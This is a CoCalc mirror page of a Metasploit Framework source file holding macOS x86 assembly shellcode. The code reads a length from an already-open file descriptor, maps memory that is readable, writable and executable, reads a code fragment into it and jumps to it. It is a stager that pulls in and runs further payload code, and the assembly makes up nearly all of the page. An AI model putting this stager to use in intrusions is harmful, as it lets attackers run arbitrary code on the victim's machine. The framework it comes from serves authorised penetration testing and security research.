CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/osx/x86/include/_read_exec.s
Views: 11784
1
_read_exec:
2
;; Save some stack space
3
mov ebp, esp
4
sub esp, byte 8
5
6
.loop:
7
xor ecx, ecx ; clear ecx
8
mul ecx ; clear eax and edx
9
10
;; Read a 4-byte size of code fragment to execute
11
push ecx
12
mov esi, esp
13
mov al, 4
14
push eax ; nbyte
15
push esi ; buf
16
push edi ; s
17
push eax
18
dec eax
19
int 0x80
20
jb end
21
mov esi, [esp+16] ; code buffer length
22
23
;; mmap memory
24
xor eax, eax
25
push eax ; alignment spacer
26
push eax ; 0
27
dec eax
28
push eax ; -1
29
inc eax
30
mov ax, 0x1002
31
push eax ; (MAP_ANON | MAP_PRIVATE)
32
xor eax, eax
33
mov al, 7
34
push eax ; (PROT_READ | PROT_WRITE | PROT_EXEC)
35
push esi ; len
36
push edx ; addr
37
push edx ; spacer
38
mov al, 197
39
int 0x80
40
jb end
41
42
;; read fragment from file descriptor into mmap buffer
43
mov ebx, eax
44
add ebx, esi
45
.read_fragment:
46
push esi ; nbytes
47
mov eax, ebx
48
sub eax, esi
49
push eax ; buf
50
push edi ; s
51
push edx ; spacer
52
xor eax, eax
53
mov al, 3
54
int 0x80 ; read(edi, eax, esi)
55
jb end
56
57
sub ebx, eax ; Subtract bytes read to buf end pointer
58
sub esi, eax ; Subtract bytes read from total
59
jnz .read_fragment
60
61
jmp ebx
62
63